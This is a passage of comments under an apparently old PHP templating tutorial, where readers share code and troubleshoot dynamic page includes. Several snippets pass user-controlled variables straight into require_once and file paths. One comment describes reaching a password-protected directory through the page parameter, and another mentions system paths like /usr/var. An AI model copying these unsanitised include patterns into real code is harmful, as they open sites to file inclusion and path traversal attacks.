    setcookie (“stylecookie”, $style, time()+40000000);

    if ($stylecookie == “”) {
    $style="../../../udf2";
    }
    else {
    $style=$stylecookie;
    }

    ?>

    Copy & paste the code below to embed this comment.
  59. Am about to try something:

    <?php
    setcookie (“stylecookie”, $style, time()+40000000);

    if ($stylecookie == “”) {
    $style="../../../udf2";
    }
    else {
    $style="../../../$stylecookie";
    }

    ?>

    Copy & paste the code below to embed this comment.
  60. I added the ../../../ to the stylecookie variable, but still no dice.

    I’m not very experienced with PHP and seem to miss a lot of things… what have I missed here?

    I’m also interested to hear the answer to Lars’ question (above) in case this doesn’t work out and I need to pass the variables along with the URL in every case.

    Copy & paste the code below to embed this comment.
  61. I’m working on a site (not published yet) using urls like http://www.mysite.com/index.php?goto=blahbah
    So what I do is simply use ‘switch’ to include the proper page, and if anything ‘unknown’ is added to the url, or ‘goto’ is not set (ie: ‘www.mysite.com’) it will simply display the default page which also happens to be the homepage.

    Something like this:

    switch($goto)
    {
    case 'blahblah':
    include 'blahblah.php';
    break;

    case 'lalala':
    include 'lalala.php';
    break;

    default:
    include 'home.php';
    }

    I cases where I don’t want to show a default page I will redirect with the header function:
    header(‘Location: http://www.mysite.php/errorpage.html’);

    All the include files are stored in a seperate directory. This directory I prefer to put outside the webroot. But if that isn’t possible I put an index.php file in that directory whith the same header function.

    As far as I know all of this should go a long way in preventing any nasty people putting their noses where they shouldn’t be :).

    All comments most welcome.

    Greetings

    Rik

    Copy & paste the code below to embed this comment.
  62. <?php @ require_once (”$file.php”); ?>——>this is the variable that the menu buttons use to call the external php files, like content01.php etc. into the empty table in index.php.

    once i’ve set the variable in the index.php file, how do i get the home.php file to load into the table when people first arrive at the site.

    Copy & paste the code below to embed this comment.
  63. Php is a fairly easy language to learn and, as in this example, newbies can dabble around and get something working quickly BUT to produce good, secure code you have to have a more expert level of understanding. I wouldn’t want to put anyone off just make the point that you can’t jump straight into php from a web design background and expect to start producing good, dynamic websites in a couple of weeks. Six months of serious studying, maybe.

    Every time a website gets hacked it’s another easy story for a journalist in a thin week, and another blow for the internet as a safe place to do business..

    Copy & paste the code below to embed this comment.
  64. For over 2 days I’ve been trying…
    I keep getting in ‘view>sourse’,,, @import “null.css” > ( in IE6)
    Also, in the dowload files for todays tutorial, the second half of the menu where your (supposed to) change styles, why is the no </a> at the end?
    I get the page (additions) to change just fine, but can’t get the sytles to (even after trying with the </a> added.). p.s. also… I know it’s (okay fine, “I’m”) stupid, but I spent the first few hours entering the url for the template.php, before figuring it out I’m supposed to enter the one for the index.php
    And was able to finally see the default.css work when I put in, if {$style=null} then {$style=default} any clues? I’m running out of hair to pull out :)

    Copy & paste the code below to embed this comment.
  65. This time I didnt see there was more than one page here (the “next” button) gareth (e) right on this page- ummm, thanks!!!!!
    I should drink more coffee maybe? LOL

    Copy & paste the code below to embed this comment.
  66. Just my 2 cents on filtering paths. Instead of str_replace(), you can call basename() on your path and it will return the filename only, devoid of directories.

    Of course, this will only work if all your articles are in the same directory.

    Copy & paste the code below to embed this comment.
  67. Hi, I’ve been desperately trying to figure this out for quite some time so any help is appreciaited! I’m not an expert at PHP so be warned!

    Basically I have these images and XML files in a directory. I want to create an index of the directory, but list only the XML files. I’d like the links in that list for each particular file to be the <TITLE> and <SUBTITLE> from the respective XML file.

    What I’ve tried sometimes works, sometimes locks up, sometimes I get errors, sometimes nothing at all, etc…I just can’t figure it out and I need to get this working very soon. I’m using Sablotron on Linux.

    Here’s my code:

    <?php
    function CheckExt($filename, $ext) {
    $passed = FALSE;
    $testExt = "\.".$ext."$";
    if (eregi($testExt, $filename)) {
    $passed = TRUE;
    } return $passed;
    }

    echo “[removed]\n”;
    echo “function writestatus(say) { self.status=\"Terriblemovies.com [\"
    + say + \"]\"; }\n”;
    echo “function clearstatus() { self.status=\"Terriblemovies.com\";
    }\n”;
    echo “clearstatus();\n”;
    echo “[removed]\n”;
    echo “<Style Type=\“text/css\”>\n”;
    echo “Body { scrollbar-arrow-color:WHITE; scrollbar-track-color:white;
    scrollbar-shadow-color:#D6D6D6; scrollbar-face-color:#135184;\n";
    echo "scrollbar-highlight-color:#D6D6D6;
    scrollbar-darkshadow-color:#135184; scrollbar-3dlight-color:#135184;
    }\n”;
    echo “A:link {color: #000000; text-decoration: none; font-weight:
    300;}\n”;
    echo “A:visited {color: #666699; text-decoration: none; font-weight:
    300;}\n”;
    echo “A:hover {color: blue; text-decoration: underline; font-weight:
    300;}\n”;
    echo “</Style>\n”;

    //Define an array of common extensions.
    $exts = array(“xml”);

    echo “Reviews in this folder:”;
    $dir = opendir(”/home/ziphem/www/reviews/xml/”);
    $files = readdir($dir);
    $phpparser = “http://www.terriblemovies.net/reviews/xml/standardbrowser.php$files”;

    while (false !== ($files = readdir($dir))) {
    foreach ($exts as $value) {
    if (CheckExt($files, $value)) {

    echo "”;
    // Create an XSLT processor
    $xsltproc = xslt_create();

    // Perform the transformation
    $html = xslt_process($xsltproc, $files, ‘../xsl/movielist.xsl’);


    // Detect errors
    if (!$html) die(‘XSLT processing error: ‘.xslt_error($xsltproc));

    // Destroy the XSLT processor
    xslt_free($xsltproc);

    // Output the resulting HTML

    echo $html;

    print “”;
    $count++; //Keep track of the total number of files.
    break; //No need to keep looping if we’ve got a match.

    }
    }
    }
    echo $count.” Reviews Total.\n”;
    echo “<a >Refresh</a>\n”;
    //Be a good script and clean up after yourself…
    closedir($dir);

    ?>

    Thanks so much!!

    Copy & paste the code below to embed this comment.
  68. Sorry for my english:)
    I am new to php and i have start to make a template like ‘template.php?page=home that works great but in template.php there i have my meta tags and the title so if i have 5 diffirent pages i still have the same title is there a solution for? I realy have try evrything.

    Copy & paste the code below to embed this comment.
  69. How do i use test.php?page=
    to go to dir?

    ex: test.php?page=Athletics/Softball/

    Copy & paste the code below to embed this comment.
  70. Could someone give me the exact code for the template.php page. Mine looks like this:

    <html>
    <head>
    <title>phpCMS - A Demonstration</title>
    <link href=“styles.css” rel=“stylesheet” type=“text/css”>
    </head>

    <body>
    <div align=“center”>
    <table width=“924” border=“0” cellpadding=“0” cellspacing=“0” class=“default”>
    <!—DWLayoutTable—>
    <tr>
    <td width=“65” height=“3”></td>
    <td width=“9”></td>
    <td width=“222”></td>
    <td width=“11”></td>
    <td width=“353”></td>
    <td width=“222”></td>
    <td width=“9”></td>
    <td width=“33”></td>
    </tr>
    <tr>
    <td height=“15”></td>
    <td></td>
    <td></td>
    <td colspan=“2” valign=“top” bgcolor=”#CCCCCC”><!—DWLayoutEmptyCell—> </td>
    <td></td>
    <td></td>
    <td></td>
    </tr>
    <tr>
    <td height=“15”></td>
    <td colspan=“2” valign=“top” bgcolor=”#CCCCCC”><!—DWLayoutEmptyCell—> </td>
    <td colspan=“2” valign=“top”><div align=“center”>Home
    | Site
    Map
    | About
    Us
    | Downloads
    |
    Services
    | Products</div></td>
    <td colspan=“2” valign=“top” bgcolor=”#CCCCCC”><!—DWLayoutEmptyCell—> </td>
    <td></td>
    </tr>
    <tr>
    <td height=“19”></td>
    <td colspan=“6” valign=“top” bgcolor=”#0099FF”><!—DWLayoutEmptyCell—> </td>
    <td></td>
    </tr>
    <tr>
    <td height=“474”></td>
    <td valign=“top” bgcolor=”#00CCFF”><!—DWLayoutEmptyCell—> </td>
    <td colspan=“4” valign=“top” bgcolor=”#000000”> <div class=“body”>
    <?php @ require_once (”$p.htm”)
    ?>
    </div> </td>

    <td valign=“top” bgcolor=”#00CCFF”><!—DWLayoutEmptyCell—> </td>
    <td></td>
    </tr>
    <tr>
    <td height=“19”></td>
    <td colspan=“6” valign=“top” bgcolor=”#0099FF”><!—DWLayoutEmptyCell—> </td>
    <td></td>
    </tr>
    <tr>
    <td height=“15”></td>
    <td></td>
    <td></td>
    <td></td>
    <td valign=“top”><div align=“center”>All Material is © Copyright 2002
    - 2003 Jakks Sevarg</div></td>
    <td></td>
    <td></td>
    <td></td>
    </tr>
    </table>
    </div>
    </body>
    </html>

    But I didn’t quite understand how I was supposed to make http://www.siteiscomingsoon.com/index.php go to http://www.siteiscomingsoon.com/index.php?p=aboutus

    Thanks!

    Jakks

    Copy & paste the code below to embed this comment.
  71. Just a quick note. I finally pu this system into use and I discovered another security leak. For Example I have a directory with these files and directories:

    index.php
    aboutus
    thisismusic
    secretstuff

    And you go to:

    http://www.domain.com/index.php?p=aboutus/index

    Everything goes well, seeing as how folders and directory structure are still compatable with this system. BUT if you have a password protected directory(secretstuff) and someone types:

    http://www.domain.com/index.php?p=secretstuff/index

    They will immediately gain acess bypassing the security check…Does anyone know a way around this? I am actually using it to my advantage right now, but it is useful knowledge.

    Jakks

    Copy & paste the code below to embed this comment.
  72. never use redirects throug the URL. Some one could do http://domain.tld/goto.php?s=/usr/var

    Copy & paste the code below to embed this comment.
  73. Sorry, commenting is closed on this article.